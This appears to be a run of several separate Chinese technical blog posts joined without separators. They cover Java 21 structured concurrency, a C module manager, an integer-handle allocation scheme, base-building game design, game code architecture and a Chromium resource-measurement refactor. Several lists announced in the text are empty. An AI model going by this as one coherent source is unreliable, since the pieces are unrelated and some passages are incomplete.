Future<Integer> f1 = executor.submit(() -> task1(0));
Future<Integer> f2 = executor.submit(() -> task2(0));
System.out.println(f1.get());
System.out.println(f2.get());
System.out.println("main thread end");
executor.shutdown();
}
通过 submit
提交任务,并通过 get
等待任务执行结束,代码非常简单,整个流程也非常顺利。然而,真实情况却未必如此,由于子任务并发执行,每个子任务都可能成功或失败,当某个子任务失败时,我们要考虑的事情可能会变得出乎意料地复杂:
task1
运行失败,那么在调用 f1.get()
时会抛出异常,但 task2
将继续在其自己的线程中运行,这是一种线程泄漏,不仅浪费资源,而且可能会干扰其他任务;task2
运行失败,由于先执行 f1.get()
,会阻塞等待 task1
运行结束才会执行 f2.get()
抛出异常,task1
可能会执行很久,这是一种不必要的等待;task1
和 task2
线程都会泄漏;task1
和 task2
中的任意一个结果,这又该如何实现?其实以上这些场景都可以实现,但需要极其复杂、难以维护的代码,比如 这里 使用 CompletableFuture
演示了三个子任务之间互相取消的场景,其代码的复杂程度应该会吓坏不少人。
此外,这类代码也不好调试,通过线程转储,我们会得到一堆名为 “pool-X-thread-Y” 的线程,我们无法知道哪个子线程属于哪个主线程,每个子线程的运行就像非结构化编程中的 GOTO
一样,不知道会跳转到哪里。这种情况被称为 非结构化并发(Unstructured Concurrency)。我们的任务在一张错综复杂的线程网中运行,其开始与结束在代码中难以察觉,缺乏清晰的错误处理机制,当主线程结束时,常常会出现孤立线程的情况。
结构化并发(Structured Concurrency) 正是为解决这些问题而提出的,它的核心思想和结构化编程一样:在并发模型下,也要保证控制流拥有单一的入口与出口。程序可以产生多个子线程来实现并发,但是所有子线程最终都要在统一的出口处完成合并:
使用结构化并发有着诸多好处:
StructuredTaskScope
实现结构化并发在 Java 中,实现结构化并发的基本 API 是 StructuredTaskScope
,它的基本用法如下:
private static void testStructuredTaskScope() throws Exception {
System.out.println("main thread start");
try (var scope = new StructuredTaskScope<Object>()) {
Subtask<Integer> t1 = scope.fork(() -> task1(0));
Subtask<Integer> t2 = scope.fork(() -> task2(0));
scope.join();
System.out.println(t1.get());
System.out.println(t2.get());
}
System.out.println("main thread end");
}
这里实现了和之前代码同样的逻辑,只是写法上略有区分,我们将 ExecutorService
替换为 StructuredTaskScope
,并将 executor.submit()
替换为 scope.fork()
,然后使用 scope.join()
等待所有任务完成。之后,我们可以通过 Subtask.get()
读取子任务的结果,如果某个子任务发生异常,Subtask.get()
会抛出 IllegalStateException
异常。因此,在调用 get()
之前,最好先用 state()
查询子任务的状态:
if (t1.state() == Subtask.State.SUCCESS) {
System.out.println(t1.get());
} else {
System.out.println("task1 error: " + t1.exception().getMessage());
}
StructuredTaskScope
的关闭策略scope.join()
可以保证所有子线程全部处于完成或取消状态,这样可以消除孤儿线程的风险。但是在有些场景下,如果某个子线程异常,等待其他子任务的结果就没有了意义,这时我们可以取消其他子任务,避免无谓的等待;还有些情况是,只要有一个子任务运行成功即可,无需等待所有任务都运行结束。这就引出了 StructuredTaskScope
的 关闭策略(Shutdown policies),StructuredTaskScope
定义了两种关闭策略,分别处理这两种情况:
ShutdownOnFailure
策略使用 ShutdownOnFailure
策略,当某个子任务中发生异常时,将导致所有其他子任务终止。它的使用方法如下所示:
private static void testStructuredTaskScopeShutdownOnFailure() throws Exception {
System.out.println("main thread start");
try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {
Subtask<Integer> t1 = scope.fork(() -> task1(1));
Subtask<Integer> t2 = scope.fork(() -> task2(0));
scope.join().throwIfFailed();
System.out.println(t1.get());
System.out.println(t2.get());
}
System.out.println("main thread end");
}
首先,我们使用 new StructuredTaskScope.ShutdownOnFailure()
创建一个 ShutdownOnFailure
策略的 StructuredTaskScope
,然后在 scope.join()
的时候,通过 throwIfFailed()
让其在子任务失败时抛出异常。假设 task1
异常,运行结果如下:
main thread start
task1 start
task2 start
java.lang.InterruptedException
at java.base/java.lang.VirtualThread.sleepNanos(VirtualThread.java:805)
at java.base/java.lang.Thread.sleep(Thread.java:507)
at StructuredConcurrencyDemo.task2(StructuredConcurrencyDemo.java:91)
at StructuredConcurrencyDemo.lambda$9(StructuredConcurrencyDemo.java:130)
at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)
task2 end
Exception in thread "main" java.util.concurrent.ExecutionException: java.lang.RuntimeException: code is illegal
at java.base/java.util.concurrent.StructuredTaskScope$ShutdownOnFailure.throwIfFailed(StructuredTaskScope.java:1318)
at java.base/java.util.concurrent.StructuredTaskScope$ShutdownOnFailure.throwIfFailed(StructuredTaskScope.java:1295)
at StructuredConcurrencyDemo.testStructuredTaskScopeShutdownOnFailure(StructuredConcurrencyDemo.java:131)
at StructuredConcurrencyDemo.main(StructuredConcurrencyDemo.java:14)
Caused by: java.lang.RuntimeException: code is illegal
at StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:74)
at StructuredConcurrencyDemo.lambda$8(StructuredConcurrencyDemo.java:129)
at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)
可以看到当 task1
异常时,task2
出现了 InterruptedException
,说明 task2
被中断了,从而避免了无谓的等待。
ShutdownOnSuccess
策略使用 ShutdownOnSuccess
策略,只要某个子任务中成功,将导致所有其他子任务终止。它的使用方法如下所示:
private static void testStructuredTaskScopeShutdownOnSuccess() throws Exception {
System.out.println("main thread start");
try (var scope = new StructuredTaskScope.ShutdownOnSuccess<Object>()) {
scope.fork(() -> task1(0));
scope.fork(() -> task2(0));
scope.join();
System.out.println(scope.result());
}
System.out.println("main thread end");
}
首先,我们使用 new StructuredTaskScope.ShutdownOnSuccess<Object>()
创建一个 ShutdownOnSuccess
策略的 StructuredTaskScope
,然后通过 scope.join()
等待子任务结束,任意一个子任务结束,整个 StructuredTaskScope
都会结束,并保证其他子任务被取消,最后通过 scope.result()
获取第一个运行成功的子任务结果。运行结果如下:
main thread start
task1 start
task2 start
task2 end
2
java.lang.InterruptedException
at java.base/java.lang.VirtualThread.sleepNanos(VirtualThread.java:805)
at java.base/java.lang.Thread.sleep(Thread.java:507)
at StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:78)
at StructuredConcurrencyDemo.lambda$10(StructuredConcurrencyDemo.java:142)
at java.base/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)
at java.base/java.lang.VirtualThread.run(VirtualThread.java:311)
task1 end
main thread end
可以看到当 task2
最先运行结束,所以输出了 task2
的结果,同时 task1
出现了 InterruptedException
,说明 task1
被中断了,避免了线程泄露。
如果这两个标准策略都不满足你的需求,我们还可以编写自定义的策略,通过继承 StructuredTaskScope
类,并重写其 handleComplete(...)
方法,从而实现不同于 ShutdownOnSuccess
和 ShutdownOnFailure
的策略。这里 有一个自定义关闭策略的示例可供参考。
使用结构化并发的另一个好处是,线程是有层次结构的,我们可以从线程转储中看到某个主线程都派生了哪些子线程,也可以看出某个子线程来自于哪个主线程,从而方便问题排查。使用下面的命令以 JSON 格式进行线程转储:
$ jcmd <pid> Thread.dump_to_file -format=json threads.json
从转储结果中可以清晰的看到线程之间的层次结构:
{
"container": "java.util.concurrent.StructuredTaskScope$ShutdownOnSuccess@58644d46",
"parent": "<root>",
"owner": "1",
"threads": [
{
"tid": "19",
"name": "",
"stack": [
"java.base\/java.lang.VirtualThread.parkNanos(VirtualThread.java:631)",
"java.base\/java.lang.VirtualThread.sleepNanos(VirtualThread.java:803)",
"java.base\/java.lang.Thread.sleep(Thread.java:507)",
"StructuredConcurrencyDemo.task1(StructuredConcurrencyDemo.java:78)",
"StructuredConcurrencyDemo.lambda$10(StructuredConcurrencyDemo.java:142)",
"java.base\/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)",
"java.base\/java.lang.VirtualThread.run(VirtualThread.java:311)"
]
},
{
"tid": "21",
"name": "",
"stack": [
"java.base\/java.lang.VirtualThread.parkNanos(VirtualThread.java:631)",
"java.base\/java.lang.VirtualThread.sleepNanos(VirtualThread.java:803)",
"java.base\/java.lang.Thread.sleep(Thread.java:507)",
"StructuredConcurrencyDemo.task2(StructuredConcurrencyDemo.java:92)",
"StructuredConcurrencyDemo.lambda$11(StructuredConcurrencyDemo.java:143)",
"java.base\/java.util.concurrent.StructuredTaskScope$SubtaskImpl.run(StructuredTaskScope.java:889)",
"java.base\/java.lang.VirtualThread.run(VirtualThread.java:311)"
]
}
],
"threadCount": "2"
}
这个 Java 21 的学习笔记系列,是从去年 12 月份开始学习并整理的,中间由于学习大模型相关技术停滞了半年时间,今年 7 月份开始继续写,前前后后花了大约 3 个多月的时间,总算将 Java 21 里的所有特性都过了一遍。Java 21 是最新的 LTS 版本,自 2023 年 9 月发布以来,已经在很多企业和项目中使用。Java 技术在飞速发展和演进,Java 22 于今年 3 月发布,Java 23 计划在 9 月推出,这样的发展速度让我觉得它并不是一个年近 30 的编程语言,而是一个朝气蓬勃、活力无限的语言,为了不使自己落伍,学习 Java 新版本已经势在必行。
Java 21 带来了一系列重要的功能和特性,在学习过程中,为了彻底搞清每个特性的来龙去脉,我都尽量从最基础的概念讲起。比如学习密钥封装机制 API 时,我们从对称加密、非对称加密、混合密码系统开始学起,最终才引出 KEM 的概念和作用;比如学习外部函数和内存 API 时,我们从 JNI 的缺点引出 FFI,从 ByteBuffer
和 Unsafe
的缺点引出 Memory API,从而对 FFM API 有一个更深入的认识;又比如学习向量 API 时,我们从最基础的向量是什么开始学起,然后引入标量计算、向量计算以及 SIMD 的概念,让我们明白 Java 为何要引入向量 API,以及看到 Java 语言发展的一个重要方向。
关于 Java 21 网上已经有大量的学习资料和教程,但是和网上那些教程不同的是,我在学习时喜欢抽丝剥茧,追根溯源,打破砂锅问到底。我认为只有充分了解一个事物的历史,才能真正掌握这个事物的未来,我对 Java 21 中的每一个特性都做了一定的延伸和展开。但是同时,我在学习时也有很多参考这些教程的地方,笔记中使用的图片大多引用自这些教程,在这里对所有原作者表示感谢。
整个系列篇幅较长,如有遗漏,还望指正。
我在用 C 构建项目,尤其是和 Lua 混合使用时,一直很头疼 C 没有一个统一的模块管理器。Lua 的模块管理虽然简单,但毕竟有且够用。一种方法是把 C 模块封装成一个个 Lua 模块,让 Lua 帮助管理,每个 C 模块是独立的,相互不可见。
但当 C 模块之间发生关系时,就比较麻烦。当然,简单的方法是通过链接器把它们都链接在一起,通过函数名前缀以区分。或是利用操作系统的动态库加载器来管理模块。
最近有了一点有趣的想法,觉得一个最简的模块管理器其实复杂度并不高。花了半天功夫实现了一下,感觉还不错。
https://github.com/cloudwu/cmod/
我在设计时,刻意回避了使用 macro 魔法,让它的接口保持原始的 C 风格。而且,实现上也不依赖任何内存分配函数,整个管理器需要的内存是一开始由调用者分配好一大块传入的。
这个管理器只管理函数指针,刻意没有去管理其它状态(比如类似事务、COM 管理的就不只是函数接口,还保留对象实例),但还是为每个管理器实例留有一个 userdata 指针,供使用者扩展。
其中的 import 函数,也就是通过字符串查找对应的模块,使用的是简单的 O(n) 遍历所有已注册模块的算法。如果接下来有性能需要的话,我会再加一个 hash 表做一些简单的 cache 。
我倾向于在 C 程序里使用整数 handle ,而不是指针。尤其是需要做弱引用的时候。
我认为,一个好的 handle 生成算法,应该满足:
如是长期运行的程序,第一和第四个需求不能同时成立。但对于非长期程序,理论上 32bit 的数字应该是够用了。
比较简单的实现方案是用一个自增 id ,然后用一张 hash 表来保存 id 到指针的映射。但 hash 表不是严格的 O(1) 复杂度。在 skynet 中,我使用了一个简单的方法:自增 id 后,如果发现 hash 冲突,就再加一,直到不冲突为止。这个方法不能满足第 4 点需求。
当然,同时满足 5 点需求未必有多大的意义,但我最近想到一个有趣的方案,稍微实现了一下,感觉可以做到。
前提是:为了让 32bit 数字就够用,同时有效的 handle 不能太多(大多数场景是这样的)或是在同时有效的 handle 很多时,不要过于频繁销毁和创建很少的几个 handle 。
我们用一个固定 size 为 2^n 的整数数组来管理所有的 handle 。handle 对 size 取模,就是它在这个数组所在的 slot 。然后,我们只需要维护一个完美 hash 表,所有分配出去有效的 handle 都不在这张 hash 表中发生碰撞。这是可以用 O(1) 时间做到的:方法是,每次回收 handle ,都把该 slot 的高 (32-n) bits 加一,这个新的待分配的 id 绝对不会和已分配过的 id 重复。
和简单的循环自增 id 检查冲突的算法相比较,不仅仅是时间上更稳定。最主要的好处是,这个算法更难耗尽 32bit 的空间(发生回绕)。尤其在有效 handle 数量较多时,一旦发生碰撞,自增 id 的方式一下子就会跳过很多数字,而这些数字中大部分是从来没有使用过,本可以安全的分配出去的。
在 handle 销毁(回收时),同时把 handle 串在该数组里的 free list 即可保证下次 O(1) 时间就能完成新 handle 的分配。
举个例子:
如果我们限制最大有效 handle 数为 4 ,如果把 0 保留为无效 id ,那么分配四次后,handle 分别为 1 2 3 4 。
这时,如果我们把 2 销毁,重新分配的话,新的 handle 是 6 而不是 5 (因为 5 和 1 会发生 hash 碰撞)。这时,再销毁 6 然后分配一个新 handle ,这个新的 handle 会是 6+4 = 10 。
在这个算法中,是不是之后所有新增 handle 都比 10 大呢?并不是。如果销毁 1 ,再分配的话,会得到 5 ,5 比 10 小。
这个算法获得的 handle 的数值并非单调递增的,它比自增方案更节省全部的数字空间。
如果这个数组满了怎么办?一般我们不用考虑这种情况,应该一开始规划好上限(例如 posix 的同时打开文件数就有上限)。但若是想解决,也可以倍增 size 。只不过 rehash 的过程比较复杂:不光是要把已有的有效 handle 重新填在新数组中,还需要额外标记那些可能用过的 slots 。
我写了一个简单的实现:https://gist.github.com/cloudwu/dcbf583f7034ef6c0f8adec3f76860f0
借助这个数据结构,我们就可以把同类对象分配在一个大数组中,然后用 handle 索引它们,和指针相比,几乎没有额外的开销。并且有如下好处:
这两天思考了一下,基于工厂生产的基地建设类游戏给玩家提供的核心体验到底是什么?以及,我们去年被取消的游戏到底还差点什么。接下来我要制作的游戏的注重点应该在哪里。
我玩的时间比较长的两个基地建设类游戏:异星工厂和缺氧,它们的玩法其实差异很大,但却给人一些近似的体验。对于这个问题,我想过很多次,得出的结论是,它们的确有一些共通之处:
玩家在玩这两个游戏时的情感体验过程非常类似,大致是这样的:
玩家开始了解基本规则。对于异星工厂来说,就是采集原料,生产加工,生产科技瓶,推进科研发展;对于缺氧来说,是建造设施用来提供小人的各种生存所需,不要让他们死掉。
让玩家了解游戏的终极目标。这通常是建设一项宏伟的工程。异星工厂和缺氧的原版目标,不约而同的都选择了制作并发射火箭逃离所在星球。
玩家根据完结游戏的目标和已经了解的游戏规则,在心里做出通关(或是解决阶段性目标)的计划。
玩家在实施计划的过程中遇到挫折。这通常是发生了一些未曾预料的意外。这个意外并不是系统额外强加进来的,反而是在已透露给玩家的规则下合理发生的。所以,玩家会觉得是自己对规则理解的不够,而不是来源于设计者的恶意。
玩家修正自己的计划,重新理解游戏系统。如果挫折时由游戏规则内在随机性带来的(缺氧中略微多见),玩家学会应对这些随机性,随之增强自己对抗游戏的自信;而异星工厂(尤其是关闭战斗后)是一个无危机的游戏。但还是会随着自己管理的工厂规模变大,需要更新物流方案,不然生产效率会逐步降低。
游戏适时介绍一些新系统。在缺氧中变现为一些未曾预料的挑战(比如温度控制在初期没有表现),同时引入新的应对策略;在异星工厂里表现为新的物流方式(火车、无人机等),可以用来提升效率,但这些对玩家是可选的。
玩家根据新系统迭代自己的计划。
结论:
这类游戏不能将规则简化到一眼望穿,一定要避免变成一个放置游戏,需要提供足够的细节。这些细节的作用是:虽然核心规则可以让玩家做出计划,预测目标该如何完成,但在微观上很难准确预测,细微的偏差会产生混沌效应。即,小小的行为偏差会引起结果的巨变。
一定要给玩家提供一个 "为了结束游戏” 而建立 "长期计划图景" 的舞台。如果缺少这一点,无论是异星工厂的传送带玩法,缺氧的生存玩法,都不足以吸引玩家长期玩下去。
也就是说,微观玩法是帮助玩家建立核心体验的手段,而玩家的核心体验并不在玩这些玩法的游戏过程,而在做出规划然后实施规划上。
游戏行业从业 20 多年,一直在做底层开发,即使是帮助其他团队写上层游戏逻辑,也都是实现某些特定的功能模块。直到最近,我想单独开发游戏,才好好想想架子该怎么搭。
从最初的原始 demo 开始,由于缺乏经验,写着写着经常有失控的感觉。好在一个人做,重构的心理负担不大。想改的时候,停下来花上两三天全部重写也不太所谓。最近总算顺畅了一点,感觉需要整理一下思路,所以写一篇 blog 记录一下。
任何复杂的软件问题,都可以通过拆分为若干子问题减少复杂度。
我认为,游戏的上层逻辑,即 gameplay 部分,主要分为三块:数据模型、外在表现和人机交互。
“数据模型”是 gameplay 的核心部分,即把游戏的画面等外在表现以及图形界面、操作控制(鼠标键盘控制器等)等剥离后的东西。如何判断一个模块是否属于数据模型,是否有不属于它的部分没有拆分出去,最简单的方法是看它是否有直接调用游戏引擎的代码。拆分干净后,这块不应该包含任何与图形、界面、时钟、控制输入有关的接口。除了一些必要的文件 IO 接口(主要是用来读取 gameplay 相关的策划数据,写 log ,做数据持久化等),也不应该涉及任何 OS 的 API 。
这样,我们就可以方便的对它进行整体或局部的测试。必要时还可以更换游戏引擎,甚至从文本 roguelike 换到 3D 表现都不会受影响。
“外在表现”当然是指游戏的画面表现、声音声效等等,通常这由游戏引擎实现,但还会有大量的代码存在于 gameplay 的实现中。这一块代码也会维护大量的状态,但不会涉及数据持久化。简单的判断方法是:如果游戏保存进度时,所有这里的所有状态都可以舍弃,下次读取进度后,这些状态又能被重建,而玩家不会感觉丢失了任何数据。
“人机交互”是游戏软件必要的部分,如果没有“人”的存在,游戏也就没有意义了。这块分为两个部分:图形界面用于展示游戏的数据给人看,同时接收一些来至界面的间接输入;控制器(包括并不限于手柄鼠标键盘触摸屏等)对游戏的直接控制。
对于联网游戏,还应包括第四大块:“网络输入”。这篇 blog 仅讨论非联网游戏。
对于“数据模型”这块,我在编码时,把这个起名为 gameplay 。可以进一步的分为两大类:被动对象 Object 和 自治体 Actor 。
Object 我认为应按类别分类,每类对象聚合在一起管理。它们可以是场景上的物件、游戏角色等这种会在表现层上找到对应物的东西,也可以是任务清单这种不在表现层呈现的东西(可能会在界面上呈现)。在实现 Object 时,应该理清它的数据和操作这些数据的方法。
对于数据部分,应该在早期就考虑如何持久化,即游戏的 Load Save 该如何实现:通常就是对每类对象的每个个体单独做持久化。为了实现持久化,每个 Object 都应用 id 管理,id 和 typename 是它们的共有属性。
其它数据应该尽量保持相互独立,避免相互引用。如非必要,不提供额外的数据控制的方法。因为一旦要提供特定的方法操作数据,往往是因为多项数据相互关联,必须用单个方法去控制它们来保持一致性。基于这个原则,Object 不应该提供像 update 这样的方法。所以,Object 是静态数据集合,它是被动的。
那么,游戏是怎么运转起来的呢?我们可以再实现一系列的自治体 Actor 。每个 Actor 对应了游戏世界中的一个实体,它可以关联一个或多个 Object ,通过读写 Object 的数据控制它们。大多数游戏在 gameplay 层面不会遇到太大的性能问题,所以这里不考虑并行处理。虽然 Actor 逻辑上是各自独立的,但串行处理可以避免考虑并发读写 Object 的问题。
Actor 使用消息驱动。不同类的 actor 有不同的 update 函数来处理每个 tick 的行为,可以处理消息。游戏世界接收外界输入只能通过向 actor 发送消息完成。actor 通常实现为一个状态机,这样可以让游戏世界中的虚拟角色在不同状态下有不同的行为。actor 需要维护许多的数据中间状态,同时也要考虑持久化问题,但大部分内部状态不应该持久化。大多数情况下,应保证只持久化状态机当前状态的名字就够了。其余运行时状态应当可以根据它重建。
例如:游戏中一个工人,接收了一个任务订单,需要从 A 处拿取一个货物送到 B 处。
而执行订单的过程,又可以分成若干步骤:
这些步骤,有些是可以立刻完成的,有些则需要若干 tick 。对于需要很多 tick 才能执行完的过程,必定存在一些中间状态,这些状态不必参与持久化。这些运行时的临时状态应当可以被重建。比如,在“移动”这个步骤,一旦外界环境发生变化(例如场景变化了,路程可能被封堵),actor 收到消息,就会把状态机切换到“寻路”这个步骤,之前“移动”步骤的执行过程所创建的中间状态就不需要了。
设计持久化方案是一个优先级很高的事情。因为在考虑持久化时,就会认真设计数据模型。修改数据模型,如果同时考虑不破坏持久化功能,也会更谨慎一些。
不要简单的将 持久化 等同于把 Object 和 Actor 的运行期内存数据结构简单的序列化。持久化更像是把运行时的对象还原为一系列的构造参数,下次加载时可以通过这些参数重新构造运行时结构;而运行时结构往往会考虑性能因素构造成更复杂的数据结构,数据结构中存在一些复杂的相互引用关系。
例如:订单系统的运行时结构可能是 id 到 订单的映射表,这样方便从订单 id 查询到订单。但在做持久化时,把订单保存在一个顺序列表中更好。
如何把数据模型表现出来呢?这要看引擎是用什么模式工作。
一般会有两种模式:立即模式(Immediate Mode)和保留模式(Retained Mode)。引擎也可能根据渲染不同类型的东西混合提供两种模式。
如果是立即模式,那么每帧画面由“表现层”(代码中,命名为 visual )遍历“数据层”的 Object 取出其状态,提交渲染即可。
如果是保留模式,一般我会在表现层为数据模型里的 Object 建立对应的 visual object 。对应关系可以是 1:1 ,也可以是 1:n 即一个数据 object 对应多个 visual object 。而数据层记录每个 tick 的状态变化,最后用消息队列的方式仅把变化传递到表现层。根据这个状态变化消息,修改 visual object 的状态,同步给引擎渲染。
无论是什么模式,都不会在数据模型中直接调用渲染引擎的 API ,数据模型也不会直接持有 visual object 的引用。
渲染层一般不会直接给数据模型中的 Actor 发送消息,而只会读取(不会改变) Object 的状态数据。但如果表现层有额外的反馈设计,比如有物理系统,让物理系统可以对游戏世界发生反馈,一些属于纯表现的,就在表现层自己消化。另一些会影响数据模型的,就会变成一个消息源,向 Actor 发送消息。可以把它们看成是交互层的一部分。
交互层通常分为 HUD 、GUI、Controller 。大部分用户输入来至于 Controller :手柄、鼠标、键盘等。需要对这些设备的原始输入根据场合做一些转换,避免直接处理诸如鼠标按下、手柄摇杆向左这样的消息,而应该转换为更高阶对 gameplay 有意义的消息:例如变成发起攻击、跳跃,向左行走等。还有一些输入来自于 HUD 或 GUI ,更应当避免在 GUI 的代码中直接访问数据模型,更不要直接控制表现层的 visual object ,而应该先转换成 gameplay 的消息。
例如:“存盘”就应该是一条消息,而不应该是直接的函数调用。保存进度和读取进度在消息处理过程中应该只做一个标记,而在每个 tick 末尾再检查这个标记做对应操作(通常是先 save 再 load )。这样才能更简单的保证数据一致性。
最终在每个 tick ,这些交互层产生的消息会分发发到数据模型中的 actor 。actor 的 update 驱动了整个 gameplay 的状态变化。
在 chromium 浏览器中,当鼠标 hover 到标签页上的时候会显示标签页的内存占用,如下图所示:
这个功能中,需要定时采集进程内存,同时在标签页创建首次加载完成后,也需要立即采集一次内存。
chromium 中关于与这个功能相关的是 performance manager 模块,其中一个重要环节是是性能数据的获取。关于数据获取的逻辑在今年也有了比较大的重构,因此借此从变更中了解 chromium 的代码设计思路。
旧设计中,由 ProcessMetricsDecorator 来实现这一功能。decorator 是 chromium performance graph 模块中重要的一个概念,即对通过具体的行为逻辑修改节点(Node)的属性。首先通过调用 memoryInstrumentation 来定时采集内存,获取到数据后,根据进程中的 webview 数目来分配内存到单个 webview 上。
因为 chromium 的多进程策略原因,可能多个网页在多个进程中,因此单个标签页的内存是通过均匀分配的方式来估算出来的。
定时采集的流程如下,这个思路是非常自然和顺畅的。即先获取内存数据,接着内存分配给每个页面上,最终设置到和 Webcontents 绑定的 ResourceUsageTabHelper 内部。
这里的 Receiver 设计,这在 chromium 中非常常见,即引入一个第三者来解除 Notifier 和 Manager 之间的依赖关系,这种设计更解耦,但是也会让调用链路更长。
chromium 考虑的更多一些:定时器是否有必要 chromium 运行后就一定要启动呢,并且一直不停止?这实际取决于有没有业务需要使用内存数据。因此 chromium 设计了 ScopedMetricsInterestTokenImpl 类来对关注内存数据的业务方进行计数。业务方数目从 0 变成 1 的时候启动定时器,当业务方数目为 0 的时候停止定时器。
另一个问题是 ProcessMetricDecorator 对外提供了一次性的立即采集所有进程的接口,因此需要考虑到截流限制内存采集频率,因此在真正采集之前需要判断两个条件:
void ProcessMetricsDecorator::RequestImmediateMetrics() {
if (state_ == State::kWaitingForResponse) {
// A measurement is already being taken and will be available immediately.
return;
}
if (!last_memory_refresh_time_.is_null() &&
base::TimeTicks::Now() - last_memory_refresh_time_ <
kMinImmediateRefreshDelay) {
// The most recent measurement is fresh enough.
return;
}
...// 采集逻辑
}
这些逻辑都很好理解,因此 chromium 的旧版本设计是非常符合直觉的。
代码越来越复杂的一个原因就是一个模块随着迭代包含越来越多的功能。在最开始的时候避免过度设计,但随着后续功能迭代,可能就需要将模块中的部分功能独立出来,这样既可以复用,同时能够更好的测试,增加可扩展性。
decorator 的核心逻辑是获取内存数据后装饰到节点上(PageNode/ProcessNode),但在旧设计中这个类中包含很多与装饰无关的逻辑,比如内存采集定时器,控制频率,内存分配等。因此可以考虑将内存数据的获取部分单独抽取出为独立的模块。
其次内存分配逻辑是将进程的内存分配到 Frame/Page 上,这部分逻辑也是相对独立的。并且后续 chromium 需要将进程的 cpu 也分配到对应的 frame/page 上,这部分也可以考虑独立出来,模块的功能更加单一。
基于这些背景,chromium 重新设计了一个新的模块 resource_attribution,架构设计图如下:
在这个设计中,最显著变化的是引入了 Qeury 的框架,我们来详细介绍这个框架的设计思路。
在旧版本的设计中,外部业务主要关注 Webcontents(对应节点 PageNode)的内存信息。在新设计里,提供了更多的维度,包括进程/页面/Frame/Worker/同一个 BrowsingInstanceContext,外部可以根据需要使用的灵活性更高。
// A variant holding any type of resource context.
using ResourceContext = absl::variant<FrameContext,
PageContext,
ProcessContext,
WorkerContext,
OriginInBrowsingInstanceContext>;
QueryParams 中可以构造需要关注的 Context 列表(ContextCollection)。
同时支持多种类别的数据获取,定义在 ResourceType 中。在 QueryParams 中也可以构造类别列表(ResourceTypeSet)。
// Types of resources that Resource Attribution can measure.
enum class ResourceType {
// CPU usage, measured in time spent on CPU.
kCPUTime,
// High-level memory information, such as PrivateMemoryFootprint. Relatively
// efficient to measure.
kMemorySummary,
};
components/performance_manager/resource_attribution/query_scheduler.cc
QueryScheduler 是 performance manager graph 中的“单例”
这个类是资源采集调度器,它本身并不负责具体的采集逻辑,同时也不包含定时器这些业务逻辑。
它对外提供请求数据的接口,根据 params 参数,调用它内部包含的多种类型资源采集器,在接收到采集器的资源会调后,又会根据 params 参数中关注的 resourceContext 列表返回数据。
同时这个类运行在 performance manager graph 的线程序列上,因此对外提供了一些 static 的工具接口 CallOnScheduler,以便外部可以在任何线程上调用。
这个类非常简单,因为 QueryScheduler 必须运行在 performance manager graph 中的 taskrunner,因此内部的 taskRunner 就是 graph 的 taskRunner。chromium 封装了一下并且对外提供 CallWithScheduler 函数,从注释看只是为了能在 UT 中通过。
void SchedulerTaskRunner::OnSchedulerPassedToGraph(Graph* graph) {
base::AutoLock lock(task_runner_lock_);
CHECK(!task_runner_);
// Use the PM task runner if QueryScheduler is installed on the PM. (In tests
// it might not be.) This is used instead of GetCurrentDefault() because the
// PM task runner might be a wrapper for the default.
if (PerformanceManager::GetTaskRunner()->RunsTasksInCurrentSequence()) {
task_runner_ = PerformanceManager::GetTaskRunner();
} else {
task_runner_ = base::SequencedTaskRunner::GetCurrentDefault();
}
CHECK(task_runner_);
CHECK(!graph_);
graph_ = graph;
}
components/performance_manager/resource_attribution/cpu_measurement_monitor.cc
该模块没有采集系统的 cpu
该模块用来采集所有进程的 cpu,并且分配给每个 BrowserInstsanceContext。
在 CPUMeasurementMonitor::StartMonitor 的时候会对所有进程采集一次数据。给每个进程节点(ProcessNode)关联 CPUMeasurementData ,具体的采集逻辑由 CPUMeasurementDelegateImpl 完成。
chromium 在这里的抽象程度有点“丧心病狂”的感觉了。
因为对于单个进程的 cpu 采集逻辑是非常简单的,就是根据 process handler 创建对应的 ProcessMetrics(//base),接着调用 ProcessMetrics::GetCumulativeCPUUsage 就可以了。但是 chromium 这里在 CPUMeasurementData 中没有直接创建 ProcessMetrics,而是创建 delegate,这似乎没有必要(可能只是为了测试性更好而写的)。
delegate 创建方式只有一种,但是这里却设计了 factory,通过工厂创建,同时给 delegate 和 factory 都设计虚基类。仿佛是因为这点醋包了一桌子饺子的感觉,很多类都是没有太大的实际用处的。这样的代码设计在 chromium 中实际上还有很多。
最终的采集逻辑如下,即调用 ProcessMetrics 上的 GetCumulativeCPUUsage 方法。
CPUMeasurementDelegateImpl::CPUMeasurementDelegateImpl(
const ProcessNode* process_node) {
const base::ProcessHandle handle = process_node->GetProcess().Handle();
#if BUILDFLAG(IS_MAC)
process_metrics_ = base::ProcessMetrics::CreateProcessMetrics(
handle, content::BrowserChildProcessHost::GetPortProvider());
#else
process_metrics_ = base::ProcessMetrics::CreateProcessMetrics(handle);
#endif
}
在数据采集完成后,monitor 需要对数据进行进一步的整理,包括对 usage 的划分(目前是按照进程下的 frame/worker 数据均分),以及对返回的数据的格式整理等。
这里还包含了在两个采集过程中,进程退出场景下的 cpu usage 计算的问题,后续再展开
components/performance_manager/resource_attribution/memory_measurement_provider.h
和 cpu 是类似的,区别在于采集进程数据依赖 memory_instrumentation,而不需要给每个 processNode 关联一个 Metric,因此整体设计如下,在 provider 下直接持有了 delegate:
同样的,在采集到数据的回调中会对数据划分分配到 frame/worker 上:
当看完 QueryScheduler 的设计后,会发现还少了一些什么。是的,还缺少了定时采集,以及截流的逻辑。
chromium 设计了 ThrottledTimer 来实现这两部分的功能:
一次性采集如果在下面三种情况下均不会采集:
bool ScopedResourceUsageQuery::ThrottledTimer::ShouldSendRequest(
internal::QueryParams* params,
bool timer_fired) {
if (!params->resource_types.Has(ResourceType::kMemorySummary)) {
// Only memory queries are throttled.
return true;
}
const auto now = base::TimeTicks::Now();
if (timer_fired) {
// Repeating queries aren't throttled, but need to save the current time to
// throttle QueryOnce().
CHECK(timer_.IsRunning());
last_fire_time_ = now;
next_fire_time_ = now + timer_.GetCurrentDelay();
return true;
}
